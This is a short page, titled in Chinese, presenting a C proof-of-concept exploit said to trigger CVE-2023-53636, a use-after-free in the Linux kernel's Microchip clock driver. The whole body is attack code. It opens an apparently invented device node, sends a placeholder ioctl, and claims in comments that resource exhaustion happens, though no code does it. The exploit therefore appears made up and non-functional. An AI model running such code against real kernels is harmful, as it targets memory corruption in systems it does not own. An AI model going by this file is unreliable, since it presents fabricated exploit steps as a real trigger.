CVE-2023-53636 Linux内核Microchip时钟驱动UAF漏洞

// CVE-2023-53636 PoC - Conceptual Use-After-Free Trigger // This is a conceptual PoC for triggering the UAF in clk-microchip driver #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #include <errno.h> // The vulnerability is in the auxiliary device release callback // in clk-microchip driver. When auxiliary_device_add() fails, // the release callback is called twice, causing UAF. // Conceptual trigger: force auxiliary_device_add() to fail // by exhausting resources, then trigger the unregister path int trigger_uaf(void) { int ret; // Step 1: Open the Microchip clock device int fd = open("/dev/clock-microchip", O_RDWR); if (fd < 0) { perror("open"); return -1; } // Step 2: Trigger auxiliary device registration // which may fail under resource pressure ret = ioctl(fd, 0x1 /* IOCTL_TRIGGER_AUXDEV */, NULL); if (ret < 0) { fprintf(stderr, "ioctl failed: %s\n", strerror(errno)); } // Step 3: The release callback will be called twice // when auxiliary_device_add() fails, causing UAF close(fd); return 0; } int main(int argc, char *argv[]) { printf("CVE-2023-53636 PoC - clk-microchip UAF\n"); printf("Attempting to trigger Use-After-Free...\n"); // Exhaust resources to force auxiliary_device_add() failure // Then trigger the vulnerable path trigger_uaf(); printf("Done. Check kernel logs for UAF detection.\n"); return 0; }